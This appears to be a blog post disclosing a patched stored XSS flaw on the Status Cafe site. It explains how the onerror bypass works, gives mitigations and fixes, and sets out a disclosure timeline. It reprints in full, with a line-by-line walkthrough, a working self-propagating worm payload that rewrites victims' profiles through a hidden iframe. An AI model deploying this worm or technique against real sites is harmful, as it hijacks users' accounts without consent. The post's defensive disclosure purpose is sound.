惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Schneier on Security
Schneier on Security
D
Docker
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
博客园 - 三生石上(FineUI控件)
大猫的无限游戏
大猫的无限游戏
阮一峰的网络日志
阮一峰的网络日志
博客园_首页
The GitHub Blog
The GitHub Blog
T
Tailwind CSS Blog
MongoDB | Blog
MongoDB | Blog
Blog — PlanetScale
Blog — PlanetScale
T
The Blog of Author Tim Ferriss
罗磊的独立博客
H
Help Net Security
博客园 - 聂微东
Apple Machine Learning Research
Apple Machine Learning Research
Google DeepMind News
Google DeepMind News
M
MIT News - Artificial intelligence
有赞技术团队
有赞技术团队
云风的 BLOG
云风的 BLOG
博客园 - 【当耐特】
G
GRAHAM CLULEY
S
Schneier on Security
A
About on SuperTechFans
MyScale Blog
MyScale Blog
Stack Overflow Blog
Stack Overflow Blog
T
The Exploit Database - CXSecurity.com
Y
Y Combinator Blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
The Register - Security
The Register - Security
P
Proofpoint News Feed
Jina AI
Jina AI
Latest news
Latest news
T
Threat Research - Cisco Blogs
V
Visual Studio Blog
P
Privacy International News Feed
H
Hacker News: Front Page
Application and Cybersecurity Blog
Application and Cybersecurity Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
Scott Helme
Scott Helme
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
T
Threatpost
T
Tor Project blog
SecWiki News
SecWiki News
Google Online Security Blog
Google Online Security Blog
O
OpenAI News
T
Tenable Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More

jb's posts

One year on Nekoweb AI is overpowered now and it's really worrying Redirecting... Does having webrings slow down your site? Things the Indie Web should consider jbsite4 is overcomplicated and I love it [RANT] Browser inconsistencies, yes it still exists. Web responsiveness: why you should follow it on your site jb's 17th birthday jbsite4, preparing for takeoff. Nekoweb 1-month Review AIAIAIAIAIAIAIAIAIAI Burnout Making this website Making a website doesn't need to cost you money (RANT) I despise annoying scripts The Great Nekoweb Elections My love/hate relationship on Bluetooth JB's site, now hosted on Nekoweb! My First Blog Y2DL Devlog - May 2024
[UPDATE: PATCHED] XSS on Status Cafe: What you need to know
2025-06-19 · via jb's posts

#vulnerability #xss #status-cafe

Update 06/18/2025

Patched

The vulnerability has been patched by sanitizing user input, and preventing execution of JS by using Content Security Policy.

This is huge. Even though the worm is still lingering out there, I’m glad that it won’t run anymore and infect other people and future worm attempts will be difficult to do.

m15o (the Status Cafe developer) also said that they will find a way to removing the existing worm on infected user profiles. See their response on the Status Cafe Forums !

Hey there! Status Cafe is a status-posting site where users can share their status for anyone can see, and it’s popular among indie web developers as it’s easy to use it for posting your own status and embedding it on your site.

Each user has their own page that shows their status history and whatnot. It contains some things, like your profile image, a “Subscribe via Atom” link, your homepage, email, and an about me section.

My status cafe profile page

But there’s another thing, the about me section accepts HTML and CSS! Most people uses it for like styling their page, and like removing unnecessary things.

A styled status cafe profile page (from rice.place)

There’s also some people that makes their status cafe profile page look distinct from other sites by using CSS to remove things and readding it with HTML, like me!

my jbsite4-themed status cafe profile page

But, the thing it doesn’t support is JavaScript. Adding script tags on it will result to this:

a page saying <script> tags is forbidden

But, it should sanitize user input and remove any mentions of JS, right? right???

Script tags are blocked, but what about some workarounds? Let’s try the classic img tag onerror XSS trick… and it worked.

an alert window saying 'xss'

That means that it’s not sanitizing event handler based scripts, which lead into the status.cafe worm.

Things you need to know

🗒️ Before I say anything else, I will say that your status cafe token is not sent into an attacker, and they can’t do it. That’s because the token cookie uses HttpOnly as it should. This means that no account has been stolen.

The XSS vulnerability uses HTML event handler attributes , which usually is frowned upon as they are outdated and will result on messy code, but the indie web still uses these (that’s why MDN says to not use these).

What does that mean? It means that an attacker can run scripts on your browser without you knowing, which is bad when executed properly.

Technical Info

Status Cafe doesn’t fully sanitize user input, which leads on this vulnerability.

If you include a code like this on your about page:

<img src="x" onerror="alert('XSS')">

It will not sanitize onerror, which is really bad for a reason.

What can attacker do with this?

There are things an attacker can do with this, even though they can’t get your cookie:

  • Post statuses on your behalf
  • Change your profile info
  • Make a browser do things you didn’t do
  • Change things you see on the site
  • and many more…

Mitigation

For now, you can use this uBlock Origin custom filter rule to block scripts on user pages:

||*status.cafe/users/*$csp=script-src 'none'

You can also disable JS on the entire site, which I think works fine as status.cafe works primarily out of HTML form elements.

What should Status Cafe do?

  • Sanitize user input. It already somewhat sanitizes input (like <script> tags is not allowed) but a full sanitization of user input is better than a half-baked one, as this worm uses inline event handlers (like onload or onerror)
  • Implement better Content-Security-Policy headers (like preventing inline scripts from running on user pages) to prevent other XSS misuse.
  • Implement better CORS to prevent scripts from fetching user settings for example
  • Make it so the settings pages and such to block being able to load in iframes. This can be implemented by using X-Frame-Options or the Content-Security-Policy headers.

This is also related on XSS but it’s much different than the other one, but the first vulnerability can post this on your profile and make your site have a vulnerability, but this is much harder to do without being noticed.

This is because the widget uses innerHTML, and it just putting user status without sanitizing it, which is also bad. It’s reasonable to use innerHTML for this as status.cafe also have automatic link handling for example.

🗒️ I’m going to be a bit technical about this.

The worm code looks like this at it’s raw:

<img src="x" style="display:none;" onerror="/*the silly worm*made by ???*should probably not infect the same person twice*also pls dont remove js, i think it'd be cool to keep it so that it allows funny stuff like this to happen*xoxo and merry christmas* -???*/(async()=>{if(document.location.search=='?qw'){const d=new DOMParser().parseFromString(await(await fetch('https://status.cafe/settings')).text(),'text/html');if(!d||d.querySelector('textarea')?.outerHTML.includes('&amp;'+'lt;!--javaistrash--&amp;'+'gt;')){throw 0};d.querySelector('textarea').innerText+='\n<!--javaistrash-->';d.querySelector('textarea').innerText+='\n'+this.outerHTML;d.querySelector('form').id='123';document.body.append(d.querySelector('form'));document.getElementById('123').querySelector('input[type=submit]').click()}else{const nu=new window.URL(document.location.href);nu.search='?qw';const f=document.createElement('iframe');f.setAttribute('style','display:none;');f.setAttribute('src',nu.href);document.body.append(f)}})()">

Quite long, isn’t it? Let’s remove the unnecessary code and beautify it:

(async () => {

if (document.location.search == '?qw') {

const d = new DOMParser().parseFromString(await (await fetch('https://status.cafe/settings')).text(), 'text/html');

if (!d || d.querySelector('textarea')?.outerHTML.includes('&amp;' + 'lt;!--javaistrash--&amp;' + 'gt;')) {

throw 0

};

d.querySelector('textarea').innerText += '\n<!--javaistrash-->';

d.querySelector('textarea').innerText += '\n' + this.outerHTML;

d.querySelector('form').id = '123';

document.body.append(d.querySelector('form'));

document.getElementById('123').querySelector('input[type=submit]').click()

} else {

const nu = new window.URL(document.location.href);

nu.search = '?qw';

const f = document.createElement('iframe');

f.setAttribute('style', 'display:none;');

f.setAttribute('src', nu.href);

document.body.append(f)

}

})()

The code is wrapped into an IIFE , which makes it run almost immediately and with async support.

It looks for an ?eq search string on the URL and runs 2 different things if there is one or if there is none:

If there is one

// Fetches the status cafe settings, and parses it using DOMParser

const d = new DOMParser().parseFromString(await (await fetch('https://status.cafe/settings')).text(), 'text/html');

// Looks if there's already an instance of the worm, and if so, throws an error with content `0`

if (!d || d.querySelector('textarea')?.outerHTML.includes('&amp;' + 'lt;!--javaistrash--&amp;' + 'gt;')) {

throw 0

};

// appends <!--javaistrash-->, which makes the above work

d.querySelector('textarea').innerText += '\n<!--javaistrash-->';

// then it appends the script itself

d.querySelector('textarea').innerText += '\n' + this.outerHTML;

// then it changes ids

d.querySelector('form').id = '123';

// then it appends it on the iframe

document.body.append(d.querySelector('form'));

// and clicks the submit button, which makes it infect your profile with the worm

document.getElementById('123').querySelector('input[type=submit]').click();

If there is none

// Evaluates the current URL

const nu = new window.URL(document.location.href);

// adds ?qw on it

nu.search = '?qw';

// then it creates an iframe

const f = document.createElement('iframe');

// then it sets itself to display: none, which makes it invisible to the user vising the page

f.setAttribute('style', 'display:none;');

// then it sets the src of the iframe

f.setAttribute('src', nu.href);

// and finally, it appends the iframe into the body

document.body.append(f);

Timeline

  • 2023-07-12 - disclosed by divsel in the status.cafe forums
  • 2025-04-23 - first report of an worm being spread into status.cafe
  • 2025-05-22 - emailed status.cafe developer about it, for an update
  • 2025-06-16 - public disclosure
  • 2025-06-18 - issue patched

Wrap-up

Although this would not compromise your status.cafe account, you should be still wary of visiting other people’s user pages while this hasn’t been fixed yet.

Also, I recommend following the mitigation steps above, which makes your browser almost immune on the worm.